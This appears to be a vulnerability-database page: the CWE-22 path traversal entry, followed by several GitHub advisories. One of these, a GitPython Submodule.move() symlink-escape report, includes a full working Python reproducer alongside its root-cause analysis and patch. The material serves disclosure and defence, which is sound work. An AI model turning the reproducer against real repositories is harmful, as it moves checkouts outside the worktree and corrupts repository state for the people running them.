Common Weakness Enumeration

CWE-22

Weakness Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.

Mapping guidance

This CWE entry might have children that would be more appropriate.

Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.

Relationships and members
ChildOf: CWE-706 · View CWE-1000
ChildOf: CWE-706 · View CWE-1003
CanPrecede: CWE-668 · View CWE-1000
Modes of introduction
Implementation
Detection methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Notes

Other

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Contribution: Nick Johnston · 2022-07-11 · CWE 4.9

Identified weakness in Perl demonstrative example

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.15

Provided diagram to improve CWE usability

Contribution: Drew Buttner · MITRE · 2024-11-01 · CWE 4.16

Identified weakness in "good code" for Python demonstrative example

Contribution: Affan Ahmed · 2025-02-08 · CWE 4.20

Provided a demonstrative example in PHP

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Potential_Mitigations, Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description

Modification: CWE Content Team · MITRE · 2008-11-24 · CWE 1.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-12-13 · CWE 1.11

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2013-02-21 · CWE 2.4

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated Other_Notes, Research_Gaps

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Relationships

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships, Type

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Potential_Mitigations, Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, References, Relationships, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2023-10-26 · CWE 4.13

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2024-07-16 · CWE 4.15

updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Relationships

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings

16098 vulnerabilities reference this CWE, most recent first.

GHSA-GQ38-75HC-XC85

Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00
VLAI
Details

The umeshpatil-dev/Home__internet repository through 2020-08-28 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-11T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The umeshpatil-dev/Home__internet repository through 2020-08-28 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
  "id": "GHSA-gq38-75hc-xc85",
  "modified": "2022-07-16T00:00:28Z",
  "published": "2022-07-12T00:00:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31585"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQ3R-5833-5532

Vulnerability from github – Published: 2025-08-21 09:30 – Updated: 2025-08-29 20:47
VLAI
Summary
Mattermost Fails to Validate File Paths
Details

Mattermost versions 10.9.x <= 10.9.1, 10.8.x <= 10.8.3, 10.5.x <= 10.5.8, 9.11.x <= 9.11.17 fail to properly validate file paths during plugin import operations which allows restricted admin users to install unauthorized custom plugins via path traversal in the import functionality, bypassing plugin signature enforcement and marketplace restrictions.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.9.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.9.0"
            },
            {
              "fixed": "10.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.8.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.8.0"
            },
            {
              "fixed": "10.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.5.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.11.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250619095651-9dd0b3943e55"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-36530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T15:02:22Z",
    "nvd_published_at": "2025-08-21T07:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 10.9.x \u003c= 10.9.1, 10.8.x \u003c= 10.8.3, 10.5.x \u003c= 10.5.8, 9.11.x \u003c= 9.11.17 fail to properly validate file paths during plugin import operations which allows restricted admin users to install unauthorized custom plugins via path traversal in the import functionality, bypassing plugin signature enforcement and marketplace restrictions.",
  "id": "GHSA-gq3r-5833-5532",
  "modified": "2025-08-29T20:47:38Z",
  "published": "2025-08-21T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36530"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3901"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Fails to Validate File Paths"
}

GHSA-GQ3V-PWQP-VFRW

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

A directory traversal vulnerability in the component system/manager/class/web/database.php was discovered in Baijiacms V4 which allows attackers to arbitrarily delete folders on the server via the "id" parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-29T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A directory traversal vulnerability in the component system/manager/class/web/database.php was discovered in Baijiacms V4 which allows attackers to arbitrarily delete folders on the server via the \"id\" parameter.",
  "id": "GHSA-gq3v-pwqp-vfrw",
  "modified": "2022-05-24T19:19:13Z",
  "published": "2022-05-24T19:19:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baijiacms/baijiacmsV4/issues/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-GQ48-PQFC-9P58

Vulnerability from github – Published: 2026-10-27 15:26 – Updated: 2026-10-27 15:26
VLAI
Summary
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Details

Summary

GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.

The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.

The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.

Trust boundary and preconditions

The attacker controls:

  • an untrusted Git repository that the application clones;
  • a mode-120000 tracked symlink named vendor;
  • the initialized submodule's content.

The consuming application controls the call and uses a fixed layout rule:

submodule.move("vendor/module")

The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.

Product and directly verified revisions

  • Package: GitPython (pip ecosystem)
  • Latest release: 3.1.62, tag commit db47516dac750c5968b8f6d388b18712c355df50
  • Current main: b62e91be897f687a622e40cd1e59c33dce45f124
  • Relevant git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c
  • Upstream state rechecked: 2026-09-10 KST

Only these two revisions were directly tested.

Severity and weakness

The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.

For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.

No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.

Reproducer

The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.

Run it from a fresh source checkout:

git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython

--absolute-link commits the temporary external directory's absolute path instead of ../outside.

#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""

from __future__ import annotations

import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional


def run_git(
    *args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
    command = [
        "git",
        "-c",
        "user.name=GitPython security fixture",
        "-c",
        "user.email=fixture@example.invalid",
        "-c",
        "protocol.file.allow=always",
        *args,
    ]
    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)


def read_core_worktree(parent) -> str:
    module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
    return parent.git.config("--file", str(module_config), "--get", "core.worktree")


def read_gitmodules_path(parent) -> str:
    modules_file = Path(parent.working_tree_dir) / ".gitmodules"
    return parent.git.config(
        "--file", str(modules_file), "--get", "submodule.logical-name.path"
    )


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("source_root", type=Path, help="GitPython source checkout")
    parser.add_argument(
        "--absolute-link",
        action="store_true",
        help=(
            "Use the temporary external directory's absolute path as the committed "
            "symlink target"
        ),
    )
    args = parser.parse_args()

    source_root = args.source_root.resolve()
    # The tested GitPython source trees include gitdb and smmap at their roots.
    sys.path[:0] = [
        str(source_root),
        str(source_root / "gitdb"),
        str(source_root / "smmap"),
    ]
    import gitdb  # pylint: disable=import-outside-toplevel
    import smmap  # pylint: disable=import-outside-toplevel
    from git import Repo  # pylint: disable=import-outside-toplevel

    with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
        root = Path(temporary)
        module_source = root / "module-source"
        attacker = root / "attacker-parent"
        victim = root / "victim-parent"
        outside = root / "outside"

        run_git("init", "--quiet", str(module_source))
        (module_source / "SELF_GENERATED_CANARY.txt").write_text(
            "SELF_GENERATED_CANARY\n", encoding="utf-8"
        )
        run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
        run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)

        outside.mkdir()
        run_git("init", "--quiet", str(attacker))
        run_git(
            "submodule",
            "add",
            "--quiet",
            "--name",
            "logical-name",
            str(module_source),
            "module",
            cwd=attacker,
        )
        link_target = str(outside.resolve()) if args.absolute_link else "../outside"
        (attacker / "vendor").symlink_to(link_target, target_is_directory=True)
        run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
        run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)

        run_git("clone", "--quiet", str(attacker), str(victim))
        run_git("submodule", "update", "--init", "--quiet", cwd=victim)

        parent = Repo(victim)
        submodule = parent.submodule("logical-name")
        before = {
            "status": parent.git.status("--porcelain"),
            "write_tree": parent.git.write_tree(),
            "vendor_index": parent.git.ls_files("--stage", "vendor"),
            "index_paths": parent.git.ls_files().splitlines(),
            "gitmodules_path": read_gitmodules_path(parent),
            "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
            "external_canary": (
                outside / "module" / "SELF_GENERATED_CANARY.txt"
            ).exists(),
            "module_core_worktree": read_core_worktree(parent),
        }

        error = None
        try:
            submodule.move(
                "vendor/module"
            )  # Fixed application value; attacker does not control it.
        # Capture the exact type and text so a patched rejection remains visible.
        except Exception as exception:
            error = {"type": type(exception).__name__, "message": str(exception)}

        write_tree = None
        write_tree_error = None
        try:
            write_tree = parent.git.write_tree()
        except Exception as exception:
            write_tree_error = {
                "type": type(exception).__name__,
                "message": str(exception),
            }

        result = {
            "imported_modules": {
                "git": str(Path(sys.modules["git"].__file__).resolve()),
                "gitdb": str(Path(gitdb.__file__).resolve()),
                "smmap": str(Path(smmap.__file__).resolve()),
            },
            "committed_symlink_target": link_target,
            "before": before,
            "call_error": error,
            "after": {
                "status": parent.git.status("--porcelain"),
                "source_canary": (
                    victim / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "external_canary": (
                    outside / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "index_paths": parent.git.ls_files().splitlines(),
                "gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"),
                "gitmodules_path": read_gitmodules_path(parent),
                "submodule_path": submodule.path,
                "module_core_worktree": read_core_worktree(parent),
                "write_tree": write_tree,
                "write_tree_error": write_tree_error,
            },
        }
        print(json.dumps(result, indent=2, sort_keys=True))
        parent.close()
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Observed result

The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:

State Before After unpatched move()
API result not called returns successfully
Original checkout module/SELF_GENERATED_CANARY.txt exists checkout is gone
External destination outside/module absent canary exists under outside/module
Parent index .gitmodules, module, vendor .gitmodules, vendor, vendor/module
.gitmodules path module vendor/module
module core.worktree ../../../module ../../../vendor/module
git write-tree succeeds fails

The failure after the move is:

You have both vendor and vendor/module
fatal: git-write-tree: error building trees

The tracked attacker input is present in the clean clone before the call:

120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor

With the proposed patch, the same calls raise before mutation:

ValueError: Submodule checkout path 'vendor/module' contains a symbolic link

The checkout, external directory, index, .gitmodules, and module configuration then remain unchanged, and git write-tree succeeds.

Root cause

Submodule._to_relative_path() delegates to a helper that uses abspath(), commonpath(), and relpath() to enforce lexical containment. These operations normalize .., but they do not resolve or reject an existing intermediate symbolic link.

The relevant helper is git.util._to_relative_path():

root_abs = osp.abspath(os.fspath(root))
path_abs = osp.abspath(osp.join(root_abs, path_str))
common_path = osp.commonpath([root_abs, path_abs])
if common_path != root_abs:
    raise ValueError(...)
relative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))

Submodule.move() then joins the accepted relative path to the worktree and passes it to filesystem operations, including os.listdir() and os.renames():

module_checkout_path = self._to_relative_path(self.repo, module_path)
...
module_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)
...
os.renames(cur_path, module_checkout_abspath)

The operating system resolves vendor/module through the checked-out vendor link at that point.

GitPython already applies the intended component check to the source checkout through Submodule.abspath: it walks every component and rejects os.path.islink(path). The destination in move() does not use that guard.

Suggested fix

The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:

  • normalizes the destination exactly once;
  • preserves the existing early return for a no-op move;
  • rejects symbolic links in every intermediate destination component;
  • preserves existing final-component symlink behavior;
  • leaves Submodule.abspath's all-component guard intact.

The final-component exception preserves current compatibility. The existing code first uses isfile() and listdir() to classify the link target, then uses os.remove() to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces OSError without changing repository state. Because the pre-removal isfile(), exists(), and listdir() calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.

The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because move() is decorated with @unbare_repo, working_tree_dir should be present; the helper nevertheless changes an impossible or malformed None state from the previous str(None) path construction to an explicit NotADirectoryError.

Validation

The strict clean-clone proof was run with both relative and absolute committed symlink targets:

Revision macOS ARM64 unpatched Linux ARM64 unpatched macOS patched Linux patched
3.1.62 escape reproduced escape reproduced rejected before mutation rejected before mutation
main b62e91b escape reproduced escape reproduced rejected before mutation rejected before mutation

Both platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable /tmp.

Pinned reproducer SHA-256: 513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c.

The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved git, gitdb, and smmap from that checkout (git/__init__.py, gitdb/gitdb/__init__.py, and smmap/smmap/__init__.py) and reproduced the same external move. In that exact checkout, git ls-tree HEAD gitdb smmap git/ext reports ordinary mode-040000 trees for root gitdb and smmap, no .gitmodules file exists, and git submodule status --recursive produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.

The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:

  • relative and absolute ordinary moves from an external process working directory;
  • relative and absolute no-op ordering;
  • no-op compatibility when the stored path includes an existing symlink;
  • the unchanged Submodule.abspath leaf-link guard;
  • relative and absolute intermediate-link rejection before rename;
  • empty-directory, non-empty-directory, file, and dangling final-component link behavior.

Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.

Additional saved controls on both revisions record rejection of ../ and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and RootModule.update() rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.

Impact limits and compatibility observations

  • An existing destination file and an existing non-empty destination directory are preserved and rejected.
  • A missing or empty leaf below an external symlink target can be populated.
  • ../ and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.
  • RootModule.update() rejects the tested commit-to-commit symlinked path before its internal move() call, so ordinary clone/update is not an automatic trigger.
  • The proof does not require or demonstrate a local race.
  • The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.
  • The exact affected history before 3.1.62 has not been established.

AI assistance and credit

This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.

Requested credit: GitHub user dpfkdlemtp.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T15:26:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
